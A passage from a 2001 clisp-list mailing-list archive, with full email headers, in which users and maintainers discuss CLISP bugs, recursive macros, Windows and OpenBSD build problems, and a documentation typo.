herself! Read what the Arab leaders say to their people on Someone has changed your life. Save? (y/n) From peter.wood@worldonline.dk Sat Jul 28 12:12:42 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15QZVx-0003VP-00 for ; Sat, 28 Jul 2001 12:12:41 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 30BB3B51D for ; Sat, 28 Jul 2001 21:12:37 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f6SJ6Q600313; Sat, 28 Jul 2001 21:06:26 +0200 Date: Sat, 28 Jul 2001 21:06:26 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bug(s) in next-line-virtual Message-ID: <20010728210626.B242@localhost.localdomain> References: <20010728105655.A353@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Sat, Jul 28, 2001 at 12:58:15PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Sat, Jul 28, 2001 at 12:58:15PM -0400, Sam Steingold wrote: > > * Honorable Peter Wood writes: > > Using 2.27 on Gnu/Linux, built at home. ... > > foo gets defined and the entry gets stored in history so I can recall > > the whole thing with C-p. BUT ESC-p first moves the cursor to the > > beginning of the line, and only then moves it to the line above. > > ESC-n moves the cursor to the end of the line, and does _not_ move it > > to the line below. > > these work for me (more or less) on Solaris. > can you fix the problems you are observing? > see previous_line_virtual() and next_line_virtual() in stream.d My report was not quite accurate. E-n moves to the end of the line and no further, only if used in the first line. So moving the cursor back one space and then E-n _will_ move to the next line. > > In addition, parenthesis matching does not work across lines. > > please complain to the GNU Readline maintainer Chet Ramey I've just reported it to the readline bug address on their homepage. If they fix it, I will try to make my readline functions for lisp indentation use newlines instead of appending spaces when indenting. I do need both paren matching and indentation on the console, so until they fix it, I am just going to keep using my kludgy lisp-indentation patch. Regards, Peter From bruce253@163.net Mon Jul 30 01:57:29 2001 Received: from [211.101.185.130] (helo=CLUBSVR) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15R8rg-0004zy-00 for ; Mon, 30 Jul 2001 01:57:28 -0700 Received: from [211.101.185.131] by CLUBSVR (ArGoSoft Mail Server Pro for WinNT/2000, Version 1.62 (1.6.2.1)); Mon, 30 Jul 2001 17:01:31 Message-ID: <3B652157.4080409@163.net> Date: Mon, 30 Jul 2001 16:56:55 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; rv:0.9.1) Gecko/20010612 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: Paul Graham CC: clisp-list References: <20010723215035.73293.qmail@web14206.mail.yahoo.com> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: Recursive macros Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Paul Graham wrote: > Sorry to be so long replying. This got pushed down the > mail stack. I think I remember thinking that the > difference was due to the way compilation is done. > In some interpreters, the macro call will be re-expanded > on each iteration. See what happens when when you > compile in both. --pg That's OK, and thank you. I find it out that the bad version of recursive macro "nthb" can be interpreted and compiled happily by both CMUCL and CLISP, only that CMUCL runs into endless loop when calling the macro, while CLISP produces a result as the correct version. Maybe one has to dig into the implementations to know the cause of the difference. The important thing to know is which implementation is taking the right action, CMUCL or CLISP. Best! > > --- Bruce wrote: > >>Paul Graham wrote: >> >> >>>Try using a variable instead of an integer as the first arg. >>> >> >>[73]>(let ((a 2)) (nthb a '(1 2 3 4))) >> >> 3 >> >> >>No difference. >> >> >> >>>--- Bruce wrote: >>> >>> >>>>Paul Graham wrote: >>>> >>>> >>>> >>>>>How are you calling the macro? >>>>> >>>>> >>>>In both CMUCL and CLISP, I call them interactively. Just now I put >>>>them >>>>in a file and loaded it. CMUCL kept on gcing when loading and CLISP >>>>loaded fine. Then I can call (nthb 2 '(1 2 3 4)) in CLISP and get -- You will be given a post of trust and responsibility. From tomroyall@lineone.net Mon Jul 30 04:17:06 2001 Received: from mk-smarthost-2.mail.uk.worldonline.com ([212.74.112.72]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15RB2n-0002uU-00 for ; Mon, 30 Jul 2001 04:17:05 -0700 Received: from scooby-s1.lineone.net ([194.75.152.224] helo=lineone.net) by mk-smarthost-2.mail.uk.worldonline.com with smtp (Exim 3.22 #3) id 15RB2i-000DYe-00 for clisp-list@lists.sourceforge.net; Mon, 30 Jul 2001 12:17:00 +0100 To: clisp-list@lists.sourceforge.net From: tomroyall@lineone.net Message-Id: Date: Mon, 30 Jul 2001 12:17:00 +0100 Subject: [clisp-list] clisp on windows/95 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Could anyone familiar with setting up clisp on windows possibly advise this very green would-be user? I want it to load and use a package called Common Music Notation. So far I've got a clisp window with the lisp prompt, but it complains about lack of initialisation and installation, and the remedies it suggests have had no effect. When I try to load CMN it says "function PUSHNEW is undefined". Very grateful for any suggestions at all. Tom From paulgraham@yahoo.com Mon Jul 30 07:20:24 2001 Received: from web14201.mail.yahoo.com ([216.136.172.143]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15RDuC-0003K7-00 for ; Mon, 30 Jul 2001 07:20:24 -0700 Message-ID: <20010730142023.9482.qmail@web14201.mail.yahoo.com> Received: from [24.218.24.132] by web14201.mail.yahoo.com; Mon, 30 Jul 2001 07:20:23 PDT Date: Mon, 30 Jul 2001 07:20:23 -0700 (PDT) From: Paul Graham To: Bruce Cc: clisp-list In-Reply-To: <3B652157.4080409@163.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Recursive macros Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I think both are correct. I don't think the CL standard explicitly says that it is an error to write a macro that expands infinitely. (Come to think of it, I wonder if it says anywhere that it is an error to write ordinary code that goes into an infinite loop.) If the spec had, as it should, said that this was an error, then implementations could do anything they wanted, unless the spec said that implementations should *signal* an error. It would be good if Lisp specs were at least explicit on what macroexpansion means: i.e. that it is equivalent to calling a function that returns an s-expression. That would make the semantics of macros clearer. It might actually be an interesting open question what you should say in a language spec about infinite loops. I suspect most finesse it. You can't simply say all outer loops that don't terminate are in error, or e.g. the loop operator with no args would be itself illegal. --pg --- Bruce wrote: > Paul Graham wrote: > > > Sorry to be so long replying. This got pushed down the > > mail stack. I think I remember thinking that the > > difference was due to the way compilation is done. > > In some interpreters, the macro call will be re-expanded > > on each iteration. See what happens when when you > > compile in both. --pg > > > That's OK, and thank you. I find it out that the bad version of > recursive macro "nthb" can be interpreted and compiled happily by > both > CMUCL and CLISP, only that CMUCL runs into endless loop when calling > the > macro, while CLISP produces a result as the correct version. > > Maybe one has to dig into the implementations to know the cause of > the > difference. The important thing to know is which implementation is > taking the right action, CMUCL or CLISP. > > Best! > > > > > > > --- Bruce wrote: > > > >>Paul Graham wrote: > >> > >> > >>>Try using a variable instead of an integer as the first arg. > >>> > >> > >>[73]>(let ((a 2)) (nthb a '(1 2 3 4))) > >> > >> 3 > >> > >> > >>No difference. > >> > >> > >> > >>>--- Bruce wrote: > >>> > >>> > >>>>Paul Graham wrote: > >>>> > >>>> > >>>> > >>>>>How are you calling the macro? > >>>>> > >>>>> > >>>>In both CMUCL and CLISP, I call them interactively. Just now I > put > >>>>them > >>>>in a file and loaded it. CMUCL kept on gcing when loading and > CLISP > >>>>loaded fine. Then I can call (nthb 2 '(1 2 3 4)) in CLISP and get > > > > -- > You will be given a post of trust and responsibility. > > __________________________________________________ Do You Yahoo!? Make international calls for as low as $.04/minute with Yahoo! Messenger http://phonecard.yahoo.com/ From rurban@x-ray.at Mon Jul 30 10:56:56 2001 Received: from ns1.tu-graz.ac.at ([129.27.2.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15RHHj-0003h0-00 for ; Mon, 30 Jul 2001 10:56:55 -0700 Received: from x-ray.at (chello212186199154.sc-graz.chello.at [212.186.199.154]) by ns1.tu-graz.ac.at (8.9.3/8.9.3) with ESMTP id TAA28389; Mon, 30 Jul 2001 19:56:44 +0200 (MET DST) Message-ID: <3B65A05E.ABED5CA5@x-ray.at> Date: Mon, 30 Jul 2001 18:58:54 +0100 From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: tomroyall@lineone.net, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on windows/95 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Tom, To my knowledge the "good parts" of common music (CM, CLM, CMN) are X Windows based. Also CMN which previewer uses X/Motif. At least the clm-2 soundlib runs fine on windows. maybe you can compile xcmnw.c with cygwin-xfree86, but that's a minefield. And I don't know any Windows Motif libs. All the other libs are included in cygwin-xfree86. -L/usr/X11R6/lib -lXm -lXp -lXt -lXext -lX11 -lm, just Xm is missing. the rest works fine, even with my very old clisp > n:\usr\local\bin\clisp -M n:\usr\local\lib\lisp\lispinit.mem --version CLISP 1999-07-22 (July 1999) > n:\usr\local\bin\clisp -M n:\usr\local\lib\lisp\lispinit.mem [1]> (load "cmn-all.lisp") ;; Loading file cmn-all.lisp ... Compiling file R:\lisp\cm\cmn\cmn-loop.lisp ... ... ... ;; Loading file R:\lisp\cm\cmn\quarter.fas ... ;; Loading of file R:\lisp\cm\cmn\quarter.fas is finished. ;; Loading of file cmn-all.lisp is finished. T [2]> (saveinitmem) 2830344 ; 707586 [3]> (in-package :cmn) [4]> (cmn staff treble c4 q) # ... tomroyall@lineone.net schrieb: > Could anyone familiar with setting up clisp on windows possibly advise this very green would-be user? I want it to load and use a package called Common Music Notation. So far I've got a clisp window with the lisp prompt, but it complains about lack of initialisation and installation, and the remedies it suggests have had no effect. When I try to load CMN it says "function PUSHNEW is undefined". Very grateful for any suggestions at all. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From trif@dvo.ru Mon Jul 30 23:18:07 2001 Received: from stella.dvo.ru ([62.76.7.3] helo=merlin.iacp.dvo.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15RSqw-00043K-00 for ; Mon, 30 Jul 2001 23:18:03 -0700 Received: from localhost (trif@localhost) by merlin.iacp.dvo.ru (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f6V6Fsm05349 for ; Tue, 31 Jul 2001 17:15:55 +1100 X-Authentication-Warning: merlin.iacp.dvo.ru: trif owned process doing -bs Date: Tue, 31 Jul 2001 17:15:53 +1100 (VLAST) From: "Evgeni V. Trifonov" X-X-Sender: To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] regexp example in the doc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, clispers. I suppose this is an error in the documentation (file impnotes.html): ------------------------------------------------------------------- (use-package :regexp) (sexp ((h (make-hash-table :test #'equal :size 10)) (n 0)) (with-open-file (f "/etc/passwd") (with-loop-split (s f ":") (let ((sh (seventh s))) (if (gethash sh h) (incf (gethash sh h)) (setf (gethash sh h) 1))))) (with-hash-table-iterator (i h) (loop (multiple-value-bind (r k v) (i) (unless r (return)) (format t "[~d] ~s~30t== ~5:d~%" (incf n) k v))))) --------------------------------------------------------------- I believe the right version should be with "let" instead of "sexp". --evt From william.newman@airmail.net Tue Jul 31 06:09:26 2001 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15RZH3-0004w8-00 for ; Tue, 31 Jul 2001 06:09:25 -0700 Received: from rootless.localdomain from [207.136.49.219] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.49) with esmtp for sender: id ; Tue, 31 Jul 2001 08:10:06 -0500 (CDT) Received: (from newman@localhost) by rootless.localdomain (8.10.1/8.10.1) id f6VCtAg11029; Tue, 31 Jul 2001 07:55:10 -0500 (CDT) Date: Tue, 31 Jul 2001 07:55:10 -0500 From: William Harold Newman To: clisp-list@lists.sourceforge.net Message-ID: <20010731075510.D23958@rootless> References: <20010730090531.A7628@rootless> <3B6589C1.79C430DD@atzmueller.net> <20010730130847.B23958@rootless> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from sds@gnu.org on Mon, Jul 30, 2001 at 04:17:14PM -0400 Subject: [clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: (Since this is evidently a real problem, not just a temporary problem with the current CVS state or something, I'll start discussing it on the clisp mailing list instead of by private email. On Mon, Jul 30, 2001 at 04:17:14PM -0400, Sam Steingold wrote: > > I'm having some sort of dumb problem building CLISP, so I've gotten > > nowhere bootstrapping SBCL under it. > > :-) > > > Before I tried working on it myself, I mentioned it on the sbcl-devel > > mailing list, and Martin Atzmueller replied with some information. > > I've included a copy below in case you don't read sbcl-devel. > > no, I do not read sbcl-devel mailing list, but he CCed it to me. > I would appreciate it if you CCed clisp-list all messages related to > CLISP. All CLISP bug reports should go there anyway (or the SF bug > tool, if you wish) > > > When I try to build CLISP on my system (OpenBSD 2.9) from a CVS > > snapshot I downloaded about an hour ago, I get > > what is a "CVS snapshot"? > a result of `cvs up`? Basically, yes. (It was actually a result of "cvs checkout", in this case.) > > $ ./configure > > ../configure[276]: test: /usr/local/src/clisp: unexpected operator/operand > > this is unusual - I have never seen anything like this before, and I do > not have an OpenBSD machine to investigate (actually, I have never used > an OpenBSD box!) > > neither the top-level ./configure, nor ./src/configure (which you should > never run by have anyway) have a test statement on line 276 In the top-level "configure" file in my version, line 276 is 'fi'. That 'fi' corresponds to an 'if test -n "$srcdir" ; then'. I don't know exactly how 'sh' does its error reporting but I'd guess that it's complaining about the 'test' in the leading 'if' statement, or failing that, one of the other 'test' operations inside the 'if'. However, 'if test -n "$srcdir" ; then' looks pretty reasonable to me, so I have no idea why 'sh' or 'test' would complain about it. > CLISP builds cleanly out of the box on win32, linux/x86, solaris and > freebsd - all the machines I have regular access to. > > Could you please investigate? > > 1. get the current CVS CLISP from SF > 2. do `./configure --build build` in the toplevel directory. balefire:clisp/ $ cvs update ; beep U src/readline/CHANGELOG U src/readline/CHANGES balefire:clisp/ $ date Mon Jul 30 16:55:55 CDT 2001 balefire:clisp/ $ ./configure --build build ./configure[276]: test: /usr/local/src/clisp: unexpected operator/operand ./configure[280]: test: /usr/local/src/clisp/build: unexpected operator/operand ./configure[485]: [: /usr/local/src/clisp/build/readline: unexpected operator/operand ./configure[485]: [: /usr/local/src/clisp/build/gettext: unexpected operator/operand ./configure[485]: [: /usr/local/src/clisp/build/termcap: unexpected operator/operand ./configure[485]: [: /usr/local/src/clisp/build/readline: unexpected operator/operand /usr/local/src/clisp/src rm: /usr/local/src/clisp/build: is a directory For good measure, I also went back to another piece of freeware in my /usr/local/src/ directory (cgoban-1.9.11) and ran its 'configure' script, in case I'd somehow messed up my environment or exhausted some resource or something. But the cgoban script ran without complaint. I also did a simple experiment to try to check that I wasn't being tripped up by some OpenBSD-specific quirk of 'sh' syntax parsing: balefire:clisp/ $ /bin/sh \h:\W/ $ if test -n 'zoo' ; then echo foo ; fi foo balefire:clisp/ $ I also got a fresh copy with balefire:src/ $ cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co clisp starting about 17:10 CDT, and tried "./configure --build build" again with the fresh copy. It failed the same way as before. -- William Harold Newman PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From toy@rtp.ericsson.se Tue Jul 31 11:10:18 2001 Received: from imr2.ericy.com ([12.34.240.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15RdyD-0001rm-00 for ; Tue, 31 Jul 2001 11:10:17 -0700 Received: from mr7.exu.ericsson.se (mr7att.ericy.com [138.85.92.15]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id f6VIAA503786 for ; Tue, 31 Jul 2001 13:10:10 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f6VIAAK27289 for ; Tue, 31 Jul 2001 13:10:10 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Tue Jul 31 13:10:03 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.123.225]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id OAA06711; Tue, 31 Jul 2001 14:10:47 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id OAA21042; Tue, 31 Jul 2001 14:10:00 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Reini Urban Cc: tomroyall@lineone.net, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on windows/95 References: <3B65A05E.ABED5CA5@x-ray.at> From: Raymond Toy Date: 31 Jul 2001 14:10:00 -0400 In-Reply-To: <3B65A05E.ABED5CA5@x-ray.at> Message-ID: <4nelqxrmvb.fsf@rtp.ericsson.se> Lines: 19 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (artichoke) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Reini" == Reini Urban writes: Reini> Tom, Reini> To my knowledge the "good parts" of common music (CM, CLM, CMN) are X Windows Reini> based. Reini> Also CMN which previewer uses X/Motif. Reini> At least the clm-2 soundlib runs fine on windows. Reini> maybe you can compile xcmnw.c with cygwin-xfree86, but that's a minefield. Reini> And I don't know any Windows Motif libs. Reini> All the other libs are included in cygwin-xfree86. Reini> -L/usr/X11R6/lib -lXm -lXp -lXt -lXext -lX11 -lm, Reini> just Xm is missing. Not really relevant to clisp, but for Xm, you could probably use LessTif instead. Should compile without problems on cygwin, but I've never done that. Ray From sds@gnu.org Tue Jul 31 15:36:12 2001 Received: from out2.prserv.net ([32.97.166.32] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Ri7Y-0004pK-00 for ; Tue, 31 Jul 2001 15:36:12 -0700 Received: from xchange.com (slip-32-101-160-21.ma.us.prserv.net[32.101.160.21]) by prserv.net (out2) with ESMTP id <2001073122360820202kekdce>; Tue, 31 Jul 2001 22:36:10 +0000 To: "Evgeni V. Trifonov" Cc: Subject: Re: [clisp-list] regexp example in the doc References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 31 Jul 2001 18:35:16 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] regexp example in the doc" > * Sent on Tue, 31 Jul 2001 17:15:53 +1100 (VLAST) > * Honorable "Evgeni V. Trifonov" writes: > > I suppose this is an error in the documentation (file impnotes.html): > ------------------------------------------------------------------- > (sexp ((h (make-hash-table :test #'equal :size 10)) (n 0)) > --------------------------------------------------------------- > > I believe the right version should be with "let" instead of "sexp". fixed in the CVS - thanks! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on My other CAR is a CDR. From dan@telent.net Sat Aug 04 14:09:37 2001 Received: from pc1-oxfo3-0-cust197.oxf.cable.ntl.com ([62.254.132.197] helo=noetbook.telent.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15T8fw-0006kh-00 for ; Sat, 04 Aug 2001 14:09:36 -0700 Received: from dan by noetbook.telent.net with local (Exim 3.22 #1 (Debian)) id 15T8fu-0003nd-00; Sat, 04 Aug 2001 22:09:34 +0100 To: clisp-list@lists.sourceforge.net From: Daniel Barlow Date: 04 Aug 2001 22:09:33 +0100 Message-ID: <87elqrmt0y.fsf@noetbook.telent.net> Lines: 21 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Other builtin method combinations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: [ I'm not subscribed to this list, but I'm tracking responses on the web archive; if you want to be absolutely sure I see something, please CC me directly ] With clisp version "2000-03-06 (March 2000)", my attempt to use a method combination other than STANDARD fails - [1]> (defgeneric depends-on (operation component) (:method-combination list)) *** - DEFGENERIC DEPENDS-ON: The only valid method combination is STANDARD : (:METHOD-COMBINATION LIST) Is this fixed in any more recent version? If not, is anyone working on it? -dan -- http://ww.telent.net/cliki/ - Link farm for free CL-on-Unix resources From sds@gnu.org Sat Aug 04 21:30:17 2001 Received: from out2.prserv.net ([32.97.166.32] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15TFYP-0005Nr-00 for ; Sat, 04 Aug 2001 21:30:17 -0700 Received: from xchange.com (slip-32-100-203-164.ma.us.prserv.net[32.100.203.164]) by prserv.net (out2) with ESMTP id <2001080504301420202rnkjje>; Sun, 5 Aug 2001 04:30:15 +0000 To: Daniel Barlow Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Other builtin method combinations References: <87elqrmt0y.fsf@noetbook.telent.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87elqrmt0y.fsf@noetbook.telent.net> Date: 05 Aug 2001 00:22:54 -0400 Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <87elqrmt0y.fsf@noetbook.telent.net> > * On the subject of "[clisp-list] Other builtin method combinations" > * Sent on 04 Aug 2001 22:09:33 +0100 > * Honorable Daniel Barlow writes: > > With clisp version "2000-03-06 (March 2000)", my attempt to use a > method combination other than STANDARD fails - > > [1]> (defgeneric depends-on (operation component) (:method-combination list)) > > *** - DEFGENERIC DEPENDS-ON: The only valid method combination is STANDARD : (:METHOD-COMBINATION LIST) this is documented in the impnotes. > Is this fixed in any more recent version? no. > If not, is anyone working on it? no, and help is welcome. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on In the race between idiot-proof software and idiots, the idiots are winning. From v_krishnakumar@operamail.com Sun Aug 05 07:11:51 2001 Received: from operamail.com ([199.29.68.126]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15TOdD-0003LK-00 for ; Sun, 05 Aug 2001 07:11:51 -0700 Received: from turing [203.90.89.181] (v_krishnakumar@operamail.com) by operamail.com; Sun, 5 Aug 2001 09:49:52 -0400 X-WM-Posted-At: operamail.com; Sun, 5 Aug 01 09:49:52 -0400 Message-ID: <000701c11db5$4e098f60$63e3e30a@turing> From: "V.Krishna Kumar" To: Date: Sun, 5 Aug 2001 18:58:43 +0530 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0013_01C11DE0.A6141BA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Subject: [clisp-list] Linking problems on Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_0013_01C11DE0.A6141BA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi! ALL, I've had some linking problems especially with MSVCRT and LIBC. As = instructed in the Makefile, if I use MSVCRT I get __errno not defined = error and if I use LIBC (single threaded) I get a different set of = unresolved symbols. Has anybody built recent versions of clisp on Win32 = ? BTW, I use VC 6.0=20 -cheers, Krishna Kumar ------=_NextPart_000_0013_01C11DE0.A6141BA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi! ALL,
 
I've had some linking problems = especially with=20 MSVCRT and LIBC. As instructed in the Makefile, if I use MSVCRT I get = __errno=20 not defined error and if I use LIBC (single threaded) I get a different = set of=20 unresolved symbols. Has anybody built recent versions of clisp on Win32=20 ?
 
BTW, I use VC 6.0
 
-cheers,
Krishna = Kumar
------=_NextPart_000_0013_01C11DE0.A6141BA0-- From lvimala@eth.net Sun Aug 05 08:17:37 2001 Received: from [202.9.145.15] (helo=extmail01.eth.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15TPeq-0007bV-00 for ; Sun, 05 Aug 2001 08:17:37 -0700 Received: from eth.net ([202.9.145.10] RDNS failed) by extmail01.eth.net with Microsoft SMTPSVC(5.0.2195.1600); Sun, 5 Aug 2001 20:47:50 +0530 Received: (apparently) from turing ([202.9.171.42]) by eth.net with Microsoft SMTPSVC(5.5.1877.537.53); Sun, 5 Aug 2001 20:36:52 +0530 Message-ID: <002001c11dc1$ea332ac0$2aab09ca@turing> From: "V.Krishna Kumar" To: Date: Sun, 5 Aug 2001 20:48:30 +0530 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001B_01C11DEF.FBFB1550" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-OriginalArrivalTime: 05 Aug 2001 15:17:50.0515 (UTC) FILETIME=[CA6D7830:01C11DC1] Subject: [clisp-list] Linking problems on Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C11DEF.FBFB1550 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi! ALL, I've had some linking problems especially with MSVCRT and LIBC. As = instructed in the Makefile, if I use MSVCRT I get __errno not 